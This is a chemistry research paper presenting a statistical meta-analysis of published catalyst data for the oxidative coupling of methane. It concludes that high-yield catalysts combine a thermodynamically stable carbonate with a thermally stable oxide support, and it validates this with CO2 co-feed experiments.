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A meta-analysis of catalytic literature data reveals property-performance correlations for the OCM reaction

Abstract

Decades of catalysis research have created vast amounts of experimental data. Within these data, new insights into property-performance correlations are hidden. However, the incomplete nature and undefined structure of the data has so far prevented comprehensive knowledge extraction. We propose a meta-analysis method that identifies correlations between a catalyst’s physico-chemical properties and its performance in a particular reaction. The method unites literature data with textbook knowledge and statistical tools. Starting from a researcher’s chemical intuition, a hypothesis is formulated and tested against the data for statistical significance. Iterative hypothesis refinement yields simple, robust and interpretable chemical models. The derived insights can guide new fundamental research and the discovery of improved catalysts. We demonstrate and validate the method for the oxidative coupling of methane (OCM). The final model indicates that only well-performing catalysts provide under reaction conditions two independent functionalities, i.e. a thermodynamically stable carbonate and a thermally stable oxide support.

Introduction

Meta-analysis1 is a powerful tool to rigorously assess the findings of published research. Successful meta-analysis studies were reported in research fields where quantitative analysis of independently conducted experiments is prevalent, e.g., medical research2, genetics3,4, biology5, and economics6. Particularly in medical research, meta-analysis is used to aggregate individual studies aiming at the same treatment effect and employing the same research design (randomized control trials). In this case, the main goal and benefit of meta-analysis is to obtain a more precise and robust effect estimate than any individual study can deliver.

Despite the existence of a vast amount of well-documented experiments also in heterogeneous catalysis, hardly any corresponding meta-analyses have been reported. Efforts to collect and analyze sets of literature data have been reported primarily for the water gas shift reaction (WGS)7, CO-oxidation8,9,10, transesterification in biodiesel production11, and electro-catalytic oxidation of alcohols in direct alcohol fuel cells12. However, neither did these studies identify new structure–activity relationships nor could they provide simple chemical explanations for the observed statistical effects.

The shortcomings of these reports can be attributed, e.g., to (1) rather small datasets being used (data from 85 publications or less7,8,9,10,11,12), (2) statistical learning methods that search exploratively for relationships in the data, and (3) failure to incorporate existing chemical knowledge to inform and direct the statistical work. Another challenge faced in heterogeneous catalysis results (4) from the unsystematic heterogeneity of the available data. Each experimental report typically explores a narrow range of catalyst compositions and reaction conditions. However, the employed reaction conditions vary widely between different publications, which influences the catalytic performance via chemical kinetics, and makes a meta-analysis challenging.

A significant break-through in terms of the dataset quality was reported by Zavyalova et al. in 201113 and in a recent follow up14 (see Supplementary Notes 1 and 2 for details). The dataset of Zavyalova et al.15 was made freely available and covered 1866 distinct catalyst compositions collected from 421 reports. The dataset provides for the oxidative coupling of methane (OCM) information on catalyst composition, reaction conditions and catalyst performance. The study employed formal mathematical approaches (multiway ANOVA, Pearson’s and Spearman’s correlation coefficients, regression trees) to search for correlations between catalyst composition and catalyst performance. The study concluded that some combinations of key elements contained in a catalyst can contribute to high C2 selectivity or yield, but did not result in a general model that correlates catalyst composition to catalytic performance with proven statistical significance and robustness. Unfortunately, a simple correlation between elemental composition and performance is also not likely to exist, since materials with the same nominal composition can often adopt very different structures and surface terminations that should result in different OCM performances. Hence, descriptors other than just elemental composition are needed.

We report a meta-analysis method that can identify statistically significant correlations between the physico-chemical properties assigned to a catalyst material and its performance in a given reaction. The method employs three distinct sources of information to achieve this goal. It incorporates in addition to (i) the experimental data reported in literature also (ii) general textbook knowledge about fundamental material properties and (iii) the experienced intuition of a chemist or material scientist about possible property–performance correlations. The OCM is used here as an example to illustrate the approach and derive property–performance correlations.

Results

Meta-analysis approach

The method is schematically outlined in Fig. 1. It starts out from the chemist’s intuition expressed as a hypothesis (iii) about a supposed relationship between the properties of a catalyst material and its catalytic performance. In a first step, data on the composition, reaction conditions and performance of different catalysts are assembled from the body of literature (i) into a dataset (1) for this reaction. Then, related textbook knowledge (ii) on all relevant elements is collected in the form of tables that provide, e.g., the ability of an element to form certain types of chemical compounds (e.g., oxides, carbonates), their thermal stability, formation enthalpies, and melting points. Moreover, descriptor rules (2) are derived that define how to calculate the so-called physico-chemical descriptors that are required to express the hypothesis (iii). Applying the descriptor rules to each catalyst entry in the dataset creates an extended dataset (3) that includes for each catalyst additional physico-chemical property descriptors. One particular strength of this procedure is the fact that the descriptors can be computed as a function of temperature and pressure, i.e., at conditions that closely reflect the individual conditions at which a catalyst was experimentally tested in the original experimental report. Hence, the computed properties closely reflect the state of the catalyst during the actual performance testing.

The chemical hypothesis (iii) can now be translated into a set of formal sorting rules (4). These sorting rules express in a formal way, which descriptors are assumed to correlate with high catalytic performance. More precisely, a sorting rule states that a catalyst will be assigned to one specific property group (5) if the catalyst’s descriptors possess values within a defined range. Applying the rules to the extended dataset (3) divides the data into smaller subsets of so-called property groups (5). Then, the measured performance value of each catalyst is used to compute for each property group a density distribution of the performance indicator (6), its averaged value as well as a standard deviation. If the descriptors chosen in step 4 represent properties that are indeed relevant to the catalysts performance, then the performance distributions (6) should differ significantly between the corresponding property groups. However, these performance distributions do not account yet for the fact that each catalyst was measured at different reaction conditions.

In order to compensate for these differences in reaction conditions, a multivariate regression analysis (7) is invoked that approximates the influence of, e.g., temperature (T) and the ratio of feed gases (here: pCH4/pO2). Moreover, it considers to which of two compared property groups a given catalyst had been assigned. The regression procedure adjusts all regression coefficients βi in order to minimize the deviation between experimental and computed yield values over all entries in the two groups. The computed regression results (8) quantify the influence of temperature (βT), pressure ratio (βCH4/O2), and most importantly, the effect of belonging to either one of the two compared catalyst groups (βgroup) on the catalysts performance (YC2). The results significance is judged via a t-test that calculates for each β-regression coefficient a corresponding p-value. Low p-values (p < 0.05) indicate a high statistical significance, with, e.g., p < 0.05 implying a confidence exceeding 95% that two compared catalyst groups are indeed distinctly different in their performance (All p-values reported in this paper were obtained via t-test, see method section and Supplementary Note 8 for further details.).

In step (9), the obtained models are compared to additional spectroscopic, computational and fundamental evidence from literature. An iterative refinement of hypotheses (iii), descriptors (3), sorting rules (4) and if possible also the studied data (2) results in robust and statistically significant property–performance models.

Literature OCM dataset

The oxidative coupling of methane aims to convert methane and oxygen selectively into C2 coupling products (ethane, ethylene) while avoiding total oxidation16. The OCM reaction is catalyzed by numerous materials with very diverse elemental compositions17. Economic viability of the process would require C2 yields well above the best values (ca. 30%) reported so far17,18. Despite decades of research, the reaction mechanism is not fully understood even for extensively studied catalyst such as Li/MgO and Mn-Na2WO4/SiO219,20. It is generally presumed that the reaction network involves gas-phase reactions coupled to reactions at the catalyst surface21,22,23, where surface defects facilitate C–H bond activation. Unfortunately, the required high reaction temperatures (500 to 1000 °C)20 obstruct many common in situ analytical tools. Hence, definite proof exists so far neither for the relevance of such defects under practical operation conditions nor the critical contribution of gas-phase reactions. Moreover, no generally valid correlation between a catalyst’s composition, its structure and its OCM performance has been established yet.

We illustrate the developed meta-analysis approach in a complete re-analysis of the OCM data compiled by Zavyalova et al 13 after corrections and outlier removal from the data (see Supplementary Note 3). The data is represented by a table that contains 1802 rows (different catalyst compositions) and 37 columns (see Supplementary Note 4 and Supplementary Data 1). The columns encode for each catalyst (a) the elements contained in the catalyst and their molar fractions, (b) parameters indicating the reaction conditions (T, pCH4, pO2, pCH4/pO2, ptotal, contact time) and (c) numerical values that describe catalyst performance (XO2, XCH4, SCOx, Sethane, Sethene, SC2, YC2). Out of these categories, elemental composition, reaction temperature (T), reactant partial pressure  ratio (pCH4/pO2) and C2 yield (YC2) were evaluated. Figure 2 displays for the corrected dataset exemplarily YC2 as a function of (a) reaction temperature, (b) pCH4/pO2, and (c) contact time to illustrate the covered data range and the data heterogeneity. (See also Supplementary Note 20 for individual catalyst examples Li–Mg and Mn–Na–W–Si.)

Derived final model

Numerous hypotheses were tested. The derived best model employs four different hypotheses to divide the OCM dataset into a total of 18 different property groups as illustrated by the tree-like representation shown in Fig. 3. Each displayed box represents a group of N catalysts. Starting out from the complete dataset (group 0, n = 1802), the physico-chemical criteria related to hypothesis (1) divide the contained catalysts into two subgroups (groups 1a, 1b). The subsequently applied hypotheses (2), (3), and (4) divide these subgroups further, resulting in 10 terminal subgroups 1a, 4a…4h, and 2d. For each terminal subgroup, the respective five most frequent catalyst compositions are listed in Fig. 3 (see Supplementary Note 10 for a complete list of the catalysts contained in each group). Bold box frames indicate on each level the catalyst group that shows the best catalytic performance in terms of average C2 yield.

Figure 4a displays in a similar representation the most important results of the regression analysis and statistical evaluation that produced the final model displayed in Fig. 3. For each group, a diagram is provided that illustrates the C2 yield distribution within the group along with the mean C2 yield ($${\bar{{Y}}}$$C2,uncorr, marked by a dashed line, i.e., YC2 prior to regression analysis) and its standard deviation. The horizontal arrows that connect two respective boxes represent the performed statistical tests. Figure 4b summarizes the final model outcome in terms of performance ($${\bar{{Y}}}$$C2,corr) for each terminal group. All observed p-values are lower than 0.005, which underlines the extremely high statistical significance of the derived final model.

Hypothesis 1—ability to form at least one carbonate compound: An initial assessment of the dataset gave the impression that many OCM catalysts contain components that can form a carbonate. Hypothesis 1 therefore proposes that a good OCM catalyst contains at least one chemical element that is known to form a carbonate compound.

All catalysts that can form at least one carbonate were assigned to group 1b “Can form a carbonate”, all other catalysts to group 1a “Cannot form a carbonate” (Fig. 3). Only a small fraction of catalysts (n = 38) is not able to form any carbonate, whereas the vast majority of reported catalysts can form at least one carbonate (1b: n = 1764) (Fig. 3).

Catalysts that can form at least one carbonate (1b) show on average a 7.6 % higher yield of C2 hydrocarbons ($${\bar{{Y}}}$$C2,uncorr = 9.7 %) than catalysts in group 1a ($${\bar{{Y}}}$$C2,uncorr = 2.1 %). The difference in C2 yield computed via multiple regression analysis (Δ$${\bar{{Y}}}$$C2,corr = βgroup = + 7.51) proves to be statistically highly significant on a >99.5 % confidence level (p < 0.005). Also the regression coefficients obtained for temperature (βT = +0.0015; p = 0.000) and pressure ratio pCH4/pO2 (βCH4/O2 = −0.452; p = 0.000) show high statistical significance with higher C2 yields corresponding to higher temperatures and higher oxygen partial pressures (see Supplementary Note 9 for a discussion and interpretation).

Group 1a contains mostly Si, Al, V, W, Nb, Sn, Pt, Ti, and combinations thereof (Fig. 3), i.e., elements typically not associated with high OCM activity. In contrast, group 1b includes all the usual suspects of high OCM performance, i.e., the Li/MgO system (Li–Mg), catalysts based on lanthanum oxide and calcium oxide, as well as variations of the Mn–Na2WO4/SiO2 system (see Supplementary Note 10 for full list). Hence, hypothesis 1 is able to sort catalysts that are not very active (silica, alumina) or combust methane unselectively (vanadium on silica, Pt) into group 1a using an objective chemical criterion. Thus, statistical noise is removed from the remaining set of catalysts (1b).

Hypothesis 2—presence of a stable oxide acting as a support: Many reported OCM catalysts feature two components. One of the components often appears to be able to form a thermally stable metal oxide. Such metal oxides are frequently used in heterogeneous catalyst to support an active phase. Hypothesis 2 therefore defines two criteria that attempt to describe a property “catalyst support”. Criterion (i) states that among all the oxides that can possibly be formed by a catalyst’s cations, at least one oxide is present that possesses a Tammann temperature higher than the individual temperature at which the catalyst was tested in OCM. An additional criterion (ii) imposes that the mass content of this stable oxide amounts to at least 50 wt% of the catalyst’s constituents, assuming that they are present in the form of their respective most stable oxides. An additional criterion (iii) used for the group assignment is the presence of an element other than the designated support oxide, and its ability to form a carbonate.

A catalyst was assigned to group 2a “unsupported” (n = 197) if none of a catalyst’s components fulfilled both support criteria (i) and (ii) (Fig. 3). Group 2b “supported” (n = 1257) represents all catalysts where one component fulfils both support criteria (i, ii), and where an additional cation is present that is able to form a carbonate. Catalysts were assigned to group 2c “self supported” (n = 263) when a catalyst contained only one component, and if this component satisfied both support criteria AND could form a carbonate. All remaining catalysts were assigned to group 2d “not assigned” (n = 47) for further noise reduction.

Catalysts in group 2b “supported” showed higher C2 yields ($${\bar{{Y}}}$$C2,uncorr = 10.7%) than catalysts in the group 2a “unsupported” ($${\bar{{Y}}}$$C2,uncorr = 7.7%) and group 2c “self-supported” ($${\bar{{Y}}}$$C2,uncorr = 6.5%). The differences are statistically highly significant.

The best-performing group (2b “supported”) features the highest number of catalyst entries (n = 1257) and contains most of the classical OCM catalysts (e.g., Li/MgO, Mn–Na2WO4/SiO2). Most group entries consist of a binary combination of La or alkali metals with an alkaline earth element (Li–Mg, Na–Ca, Li–Ca). Typically, the support criteria are satisfied by the thermally stable oxide of the alkaline earth element. Many of the cation combinations that include heavy metals (Pb, Bi) and alkali elements (Li, Na, K, Cs) are assigned to group 2a “unsupported” because their respective (super)oxides fail the thermal stability criterion (i), or because the stable oxide is not present in sufficiently large amounts (ii). The “self-supported” catalysts 2c contain only a single cation, which is either a lanthanide or an alkaline earth element, and forms a thermally stable oxide. The 47 catalysts placed in group 2d “not assigned” comprise mostly binary combinations that contain a large amount of a stable support oxide, but fail criterion (iii) because the second element (that is not the designated support) cannot form a carbonate.

Hypothesis 3—ability of the support oxide to form a carbonate: Hypotheses 1 and 2 suggest that the ability to form a carbonate plays a critical role in OCM catalysis. All catalysts retained in group 2b contain at least one element that can form a carbonate, and another element that can form a thermally stable oxide. Hypothesis 3 tests, if also for this support oxide the ability to form a carbonate impacts a catalyst’s OCM performance.

All catalysts for which the designated support oxide can form a carbonate were assigned to group 3a “carbonate-supported” (n = 935), all other catalysts to group 3b “oxide-supported” (n = 322). Most of the “carbonate supported” catalysts consist of La or an alkali element combined with an alkaline earth element where typically the alkaline earth elements provide the support functionality. The “oxide-supported” catalysts (the designated support oxide cannot form a carbonate) comprise mostly alkali and alkaline earth elements or Na2WO4 supported on either alumina, silica or titania (see element combinations listed in groups 4e and 4f in Fig. 3).

The carbonate-supported catalysts (group 3a, $${\bar{{Y}}}$$C2,uncorr = 11.5%) clearly outperform the oxide-supported group 3b (8.6%) by about 2.9% C2 yield (βgroup = -3.30) and with high statistical significance (p = 0.000), providing further evidence for the beneficial and important role of carbonates in OCM catalysis.

Hypothesis 4—thermodynamic stability of carbonates during OCM: A property often attributed to good OCM catalysts is their so-called basicity24,25,26,27. One possible measure for the basicity of a metal oxide is its ability to form a carbonate and the carbonate’s thermal stability. If such a carbonate is thermodynamically stable also at the high temperatures of OCM, then the carbonates are likely to be present on the catalyst surface during the OCM reaction.

Hypothesis 4 therefore assesses the thermodynamic stability of all carbonates that can be formed by the elements present in a catalyst by comparing the decomposition temperature of the most stable carbonate to the temperature at which the OCM performance was measured. A catalyst is assigned to a subgroup “carbonate thermodynamically stable” if the OCM test was performed at a reaction temperature that is lower than the temperature at which the most stable contained carbonate decomposes (corrected for a constant offset that accounts for experimental uncertainties and dependence of carbonate decomposition equilibria on CO2 partial pressure, here: TOCM measurement < Tcarbonate decomposition + 100 K; for other offsets see Supplementary Note 14h-k).

Hypothesis 4 was applied to all subgroups that had been derived via positive sorting criteria in the previous hypotheses (i.e., not to the “not-groups” 1a and 2d). It divides the groups 2a, 3a, 3b, and 2c into the respective subgroups 4a, c, e, g (“no thermodynamically stable carbonate”), and subgroups 4b, d, f, h (“at least one thermodynamically stable carbonate”) (Fig. 3). Three out of four corresponding comparisons, i.e., 4a/4b, 4c/4d, 4e/4f, show a strong statistical significance indicated by p-values being equal or lower than 0.026 (Fig. 4a). In all three statistically significant cases the catalysts that can form at least one thermodynamically (“t.d.”) stable carbonate outperform the corresponding catalysts that cannot form a stable carbonate, with C2 yields $${\bar{{Y}}}$$C2,corr being higher by 2.04% (4a/4b), 2.36% (4c/4d), and 5.11% (4e/4f) (see βgroup values in Fig. 4a).

Despite the fact that the two most common OCM catalyst types (Li/MgO, Mn–Na2WO4/SiO2) were assigned to different groups on level 3 (Li–Mg: 3a; Na–Mn–W–Si: 3b), both end up in the respective subgroups that can form at least one t.d. stable carbonate (Li–Mg: 4d; Na–Mn–W–Si: 4f). In general, the role of the thermodynamically most stable carbonate is typically fulfilled by alkaline, alkaline earth, or lanthanide elements in the subgroups 4b/d/f/h. In absence of these elements no thermodynamically stable carbonate can be formed and lower yields are observed (see Supplementary Note 13 for a more detailed discussion).

Hypothesis 4 thus illustrates another strength of the method: the same sorting criteria can be applied to different groups, in this case groups derived on hypothesis levels 2 and 3. Consistent results obtained across different groups point towards a general validity of the proposed effect.

Model robustness

The robustness of the final model (Figs. 3 and 4) was assessed using different approaches of parameter variation, changing the independent variable to ln(YC2) and with a so-called “robust regression” (see Supplementary Notes 14–18 for details). The model retained the same statistically significant correlations, except for few instances where some correlations on level 4 lost their statistical significance. The final model is therefore highly robust despite the data heterogeneity, potential publication bias within the data and the small size of some of the formed terminal groups.

Discussion

The derived model reveals clear property–performance correlations. It establishes for the first time a generalized set of physico-chemical properties that discriminate between high- and low-performing OCM catalysts. Four simple hypotheses suffice to divide 1802 catalysts into 10 groups of distinct properties and OCM performance (Fig. 4b). Following the path of the best-performing groups on each hypothesis level indicates a combination of properties that correlates with high C2 yields. The model predicts the highest C2 yield (4d, $${\bar{{Y}}}$$C2, corr = 11.8%) when (1b) at least one of the elements contained in the catalyst can form a carbonate, (2b) the catalyst contains an additional element that forms a thermally stable oxide, (3a) this oxide is also able to form a carbonate, and (4d) at least one of the possible carbonates is thermodynamically stable at the applied OCM reaction temperature. Also a comparison of the best-performing terminal group 4d with each other terminal group (1a, 4a-h, 2d) in terms of yield difference (βgroup) and p-value shows a very high statistical significance (p < 0.005).

The nature of the hypothesis formulation in terms of chemical conditions facilitates a direct physico-chemical interpretation. Good OCM catalysts comprise at least two elements, with one of the elements being able to form a carbonate at the temperatures of OCM reaction, and a second element that can form a thermally stable (non-sintering) oxide under OCM conditions (hypothesis 2). Good OCM catalysts thus provide two functionalities, i.e., a “support” and an “active phase”. The thermally stable oxide (alkaline earth and lanthanide oxides, alumina, silica, titania) acts as support and provides a high surface area during OCM (2b). The active phase appears to be related to the ability to form a carbonate. The ability to from a carbonate24 is one out of several possible descriptors for basicity (Smith scale28; optical basicity29, an ionic-covalent parameter30). Basicity has been proposed by many authors as an important feature of OCM catalysts13,24,25,26,31. However, no general quantitative model for the impact of basicity on OCM performance has been established so far.

The ability to retain a stable carbonate at the studied OCM temperature results in higher C2 yields (hypothesis 4). Hence, the actual presence of carbonates during OCM is likely. Carbonates could therefore contribute to the reaction, i.e., via ongoing transitions from carbonate into oxide and vice versa, which would continuously produce new defect sites32. However, the presence of carbonate phases can assist also the formation and stabilization of peroxide species33,34,35,36. Such peroxides species could activate methane in a selective fashion to generate methyl radicals32,35,37. Otsuka et al.38,39 reacted CH4 with bulk peroxides (Na, Sr, Ba) and observed C2 coupling products already at 400 °C.

C2 yields benefit also from the ability of the support oxide to form a carbonate (3a “carbonate-supported”). Possibly, carbonate formation suppresses unselective combustion of methane and C2 hydrocarbons, which was reported to occur on oxide-supports (Al2O340, SiO241, and TiO242, group 3b “oxide-supported”).

The essential role of carbonates in the model provides a clear incentive to rethink the classical OCM reaction mechanism and in particular the role of CO2. Carbon dioxide was so far typically regarded only as an undesired byproduct. However, the only way that carbonates can form during OCM is a reaction with CO2. Hence, CO2 could be essentially required to stabilize carbonate phases that contribute directly to C2 formation or prevent further oxidation of C2 products. This could provide also a new explanation of the observation that a maximum of ca. 30% C2 yield has not been overcome so far when feeding CH4/O2 mixtures to the reactor17. Methane combustion would be essentially required to form CO2 and the carbonate phase, thus limiting the achievable C2 yield. Supplying the required CO2 to the catalyst via CO2 co-feed instead of methane combustion could provide a simple path to improved C2 yields.

The influence of CO2 was experimentally verified. The stability of a carbonate depends on both temperature and CO2 partial pressure. Increasing the CO2 partial pressure should increase the carbonate’s stability, which, according to the model, should increase the C2 yield. We tested this effect experimentally using nine different catalysts belonging to group 3b (see Supplementary Note 19). Figure 5 compares the C2 yields measured at 800 °C, both in the absence and in the presence of CO2 co-feed. When carbon dioxide is added to the OCM feed the observed C2 yields either increase (by up to 2.5%) or remain constant. For the alumina support alone, which cannot form a carbonate, CO2 addition does not have a measurable impact. The experimental data further support the model interpretation that carbonates are likely to be formed during OCM and result in higher C2 yields.

The following paragraphs discuss the power of the developed meta-analysis method as well as current limitations. The exemplarily performed evaluation of 1802 observations in OCM catalysis provides a clear picture of physico-chemical properties that have a statistically significant impact on the observed C2 yield. What sets the presented meta-analysis apart from previous work is that chemical knowledge and chemical reasoning become an integral part of the analysis, i.e., a chemical instead of mathematical perspective.

The method yields a robust and meaningful model, with C2 yield distributions becoming narrower with each model level. Yet, a considerable variety of C2 yields remains within each property group. This could be improved by further refined hypotheses, additional property descriptors, or more complicated combinations/interactions of the catalyst constituents.

A substantial contribution to the broadness of the distribution results from the variance in the underlying data (see Supplementary Note 20 for yields reported, e.g., Li/Mg and Mn/Na/W/Si). This could result from the diversity of employed experimental conditions, but also subtle changes in the synthesis procedure that can strongly influence the structure and performance of a catalyst. In future work it would be desirable to incorporate also intricate details such as catalyst structures, synthesis recipes or kinetic information.

One major advantage of our approach is the combination of experimental data with sound chemical textbook knowledge. Thus, hypotheses with a high level of abstraction can be formulated. Pioneering work of, e.g., Schueth43,44,45,46, Rothenberg47,48,49,50,51, and Baumes52,53 provides access to more advanced descriptors. Also descriptors based on DFT calculations54,55,56,57,58, e.g., efficiently computed d-band centres59, could be incorporated. Alternative basicity descriptors such as the Smith scale28, optical basicity29, or the ionic-covalent parameter30 should be implemented to test whether OCM performance is primarily governed by basicity or indeed the presence of carbonates. In the future, hypotheses could be generated via rapidly improving algorithms and machine-learning approaches (see e.g., refs. 60,61,62 for excellent reviews), or following schemes suggested by Rothenberg and co-workers50,63,64.

In general, statistical tools can explore only correlations between variables that are quantitatively accessible. Quantity, quality, and distribution of literature data could be improved by adopting standardized testing and benchmarking procedures for a particular reaction65,66, depositing complete sets of original data in open repositories and using data formats designed for facile data sharing67.

The developed meta-analysis method allows the identification of catalytic property–performance correlations hidden in the vast body of existing experimental research. Applying the method to the OCM, we identify general correlations between a material’s physico-chemical properties and its OCM performance. Good catalysts comprise at least two elements, with one element being able to form a thermodynamically stable carbonate at the temperatures of OCM reaction, and a second element forming a thermally stable (non-sintering) oxide under OCM conditions. Good catalysts apparently require a support that provides a high surface area at OCM temperatures, and carbonate(s) that either contribute directly to C2 formation and/or prevent subsequent unselective oxidation of the C2 products. Future work could assess the specific role of CO2 and carbonates in OCM using, e.g., in-situ spectroscopic experiments or quantum-chemical calculations. In a broader context, the developed meta-analysis method provides a generic and open platform for data science in heterogeneous catalysis. The concept allows the extensions to other reactions, more complex and fundamental descriptors derived, e.g., from quantum chemistry, and ultimately also the incorporation of a catalyst’s structure. Consequently, it could empower all chemists to work as data scientists and explore the full potential of their valuable experimental data.

Methods

Dataset corrections

The dataset compiled by Zavyalova et al.13 was corrected for errors (wrong temperature or composition, duplicate entries) based on a comparison with the original literature. Some entries were removed that contained highly unusual feed compositions and contact times, lacked essential information (T, pCH4, pO2) or were not measured in continuous-flow with methane and oxygen co-feed. Moreover, we removed the predefined data categories “promotor” and “support”, to which Zavyalova et al.13 had assigned some elements, and reassigned the respective elements to the more general categories “cation” and “anion” (see Supplementary Note 3 and Supplementary Note 4). The corrected dataset is available as Supplementary Data 1 (20160720_corrected-dataset_.xls).

Physico-chemical properties

The physico-chemical properties of individual chemical elements and chemical compounds formed by these elements were compiled from literature and own measurements. The properties include the molar mass of an element, its position in the periodic table, the ability to form a carbonate, and the carbonate’s decomposition temperature (thermal stability, indicator for basicity). Moreover, properties of potentially formed oxides were incorporated (oxidation number, the stoichiometry of the most stable oxide, and the oxide’s melting point). From this melting point, the Tammann temperature68 was computed as a measure of the onset of sintering and loss of surface area. Supplementary Note 5 describes the complete property table, the respective data are provided as Supplementary Data 2 (20160811_element-properties.xls).

Physico-chemical descriptors

The physico-chemical descriptors were computed by a set of instructions that combine values extracted from the OCM catalyst table as well as the elemental-property table. The descriptor values were written into new columns (so-called dummy variables) of an extended data file. Important descriptor categories employed in the present study are the ability of each catalyst component (e.g., “cation”) (i) to form a carbonate compound, (ii) the thermal stability of this carbonate, and (iii) the ability to form a sufficiently stable oxide that could act as catalyst support. A value “true” (“1”) is assigned to a carbonate descriptor (i) if the respective catalyst component is able to form a carbonate. Descriptor (ii) describes whether this carbonate is stable under OCM reaction conditions. A value “true” is assigned if the OCM reaction is measured at a temperature that is lower than the actual temperature at which the carbonate starts to decompose, corrected for an offset that accounts for experimental uncertainties (TOCM measurement < Tcarbonate decomposition + 100 K). A “true” value is assigned to the respective support descriptors (iii) if the catalyst contains a cation that can form a thermally stable oxide, i.e., an oxide that possesses a Tammann temperature (TTammann = Tmelt,oxide × 0.6) higher than the actual temperature at which the OCM data were measured for the catalyst, and if the concentration of this oxide amounted to at least 50 wt% of the catalysts constituents, each in the form of its most stable oxide. The descriptor rules take the reaction temperature explicitly into account for each catalyst, hence the same descriptor can adopt different values depending on the actual conditions under which a catalyst was measured. Supplementary Note 6 provides further details on descriptor computation and resulting values. Respective data are provided in Supplementary Data 3 (20160729b_corrected_preprocessed_dataset_descriptors_.xlsx).

Sorting rules

Sorting rules assigned each catalyst entry to one of at least two distinct “property groups” based on the values of the corresponding descriptor variables. In the studied OCM example, sorting rules were implemented to generate property groups that, e.g., (1) contain at least one element that can form a carbonate (“can form carbonate”), that (2) contain at least one additional element that fulfils the proposed support criterion of a stable and abundant oxide (“supported”), evaluate (3) whether the element that has been assigned the support function is also able to form a carbonate (“carbonate-supported”), and probe (4) whether the carbonate with the highest decomposition temperature is thermodynamically stable under the respective OCM conditions. Thus, very complex and hierarchically nested hypotheses can be formulated. Supplementary Note 7 discusses the employed sorting rules in detail. Respective data are provided in Supplementary Data 4 (20160729b_corrected_preprocessed_dataset_property_groups.xlsx).

Regression analysis

A multiple regression analysis was employed in order to quantify the performance difference between catalysts assigned to two different property groups while compensating also for the effect of differences in the OCM measurement conditions. OCM catalysts are often compared based on the obtained yield of C2 products. However, it is obvious from chemical kinetics that the measured C2 yield is critically influenced not only by a catalyst’s composition, but also the reaction conditions (T, pCH4, pO2, ptotal, contact time) employed in a catalytic test. Due to the lack of standardized OCM test protocols, employed operation conditions vary significantly between different literature reports. Unfortunately, the limited amount of catalytic data available in the studied dataset did not allow a complete kinetic description for each catalyst. In order to mitigate this problem to some extent, the regression equation (1) implements a linear correction for the variables “ratio pCH4/pO2” and “temperature”:

$$Y_i = \beta _0 + \beta _{{\mathrm{group}}} \times D_{{\mathrm{group}},i} + \beta _T \times \Delta T_i + \beta _{{\mathrm{CH}}4/{\mathrm{O}}2} \times \Delta p_{{\mathrm{CH}}4/{\mathrm{O}}2,i} + U_i$$
(1)

whereas the dummy variable Dgroup,i{0, 1} describes to which of the two compared property groups each catalyst i had been assigned. The regression procedure then adjusts all β values in order to minimize the sum of squares of the residuals Ui between experimental (Yi) and computed yield values over all entries in the two groups. The derived β values quantify the influence of temperature (βT), pressure ratio (βCH4/O2), and most importantly, the effect of belonging to either one of the two compared catalyst groups (βgroup) on YC2. Hence, βgroup is the obtained quantitative measure (in terms of corrected C2 yield) for the influence of a set of physico-chemical properties on the catalytic performance in OCM.

Significance testing

The statistical significance of information derived from each β regression coefficient was judged via a t-test. The t-test relates the value of a β regression coefficient to its estimated standard error. From this, a probability value p is calculated for each β regression coefficient. It gives the significance of the observed effect by the probability that an estimated β value is decided to be non-zero, whereas the true value is zero. Lower p-values correspond to a lower probability of erroneous assignment of an effect, and thereby a high statistical significance of the observed effect. A p-value < 0.05 corresponding to a confidence of 95% is typically used as indicator of statistical significance. The p-values p = 0.000 (equivalent to p < 0.0005) obtained for most of the hypotheses of our OCM example corresponds to a confidence exceeding 99.95% that two compared catalyst groups are indeed distinctly different in their C2 yield. Supplementary Note 8 provides details on the employed regression analysis and significance testing. Supplementary Note 9 illustrates the results of a typical regression analysis exemplarily for the tested OCM hypothesis 1 with respect to group assignment, pressure ratio, temperature, β values, p-values, and property distributions.

Estimation strategy

The estimation strategy evaluates four different property–performance hypotheses labeled (1, 2, 3, 4) that divide the initial OCM data successively into smaller subgroups (1a, 1b,…). All individual hypotheses are then assembled into one overall property–performance model (Figs. 3 and 4). The best-performing property group is identified and compared to each other subgroup in terms of YC2.

Robustness

The robustness tests for the final model varied systematically the threshold values of important descriptor values (4× wt% of support oxide (Supplementary Note 14a–d), 3× Tammann factors (Supplementary Note 14e–g), 4× offsets for carbonate stability (Supplementary Note 14h–k)). Moreover, the regression analysis was performed also without reaction-condition compensation (Supplementary Note 15), and with a frequency-weighted multiple regression that accounts for the different frequency of elemental catalyst composition reported in the database (Supplementary Note 16). Moreover, the regression was performed with ln(YC2) as independent variable instead of YC2, (Supplementary Note 17) and using a so-called robust regression approach that reduces the influence of outliers in the data (Supplementary Note 18).

Result presentation

The regression results are presented in terms of the number of catalysts assigned to each group (N), the effective (corrected) difference in C2 yield (regression coefficient βgroup, in mol% C2) between two compared groups along with the p-value corresponding to the regression coefficients (three significant digits). Moreover, the arithmetic mean of uncorrected C2 yield ($${\bar{{Y}}}$$, in mol% C2) and corrected ($${\bar{{Y}}}$$corr) are reported along with the corresponding standard deviation. The presented diagrams display for each subgroup the density of yield observations vs. the uncorrected C2 yields (see Supplementary Note 12 for details on the calculation of density plots via Epanechnikov kernel density). Supplementary Data 5 (20160713_list_cat-combination_property-groups_.xlsx) provides for the final model a full list of catalyst compositions (i.e., cation combinations) contained in each property group.

Catalytic testing and experimental validation

Catalytic tests were performed to validate the main findings. Alumina-supported catalysts containing similar loadings of the precursor of either one alkali element (Li, Na, K, Rb, Cs) or one alkaline earth element (Mg, Ca, Sr, Ba) were prepared via impregnation of the corresponding carbonate or acetate onto the same pre-calcined alumina support. The employed γ-Al2O3 support was supplied by Südchemie/Clariant as pellets (Al2O3-100), which were ground, sieved to a size fraction of 200–500 µm, and calcined for 12 h at 800 °C in air. The support was then loaded via wet impregnation with aqueous solutions (alkali carbonates, alkaline earth acetates) and dried at 60 and 150 °C under vacuum, i.e., following a procedure adapted from Kusche et al.69 Catalyst loadings amounted to 23.1 wt% of the employed salt in anhydrous state (alkali elements: carbonates; alkaline earth elements: acetates).

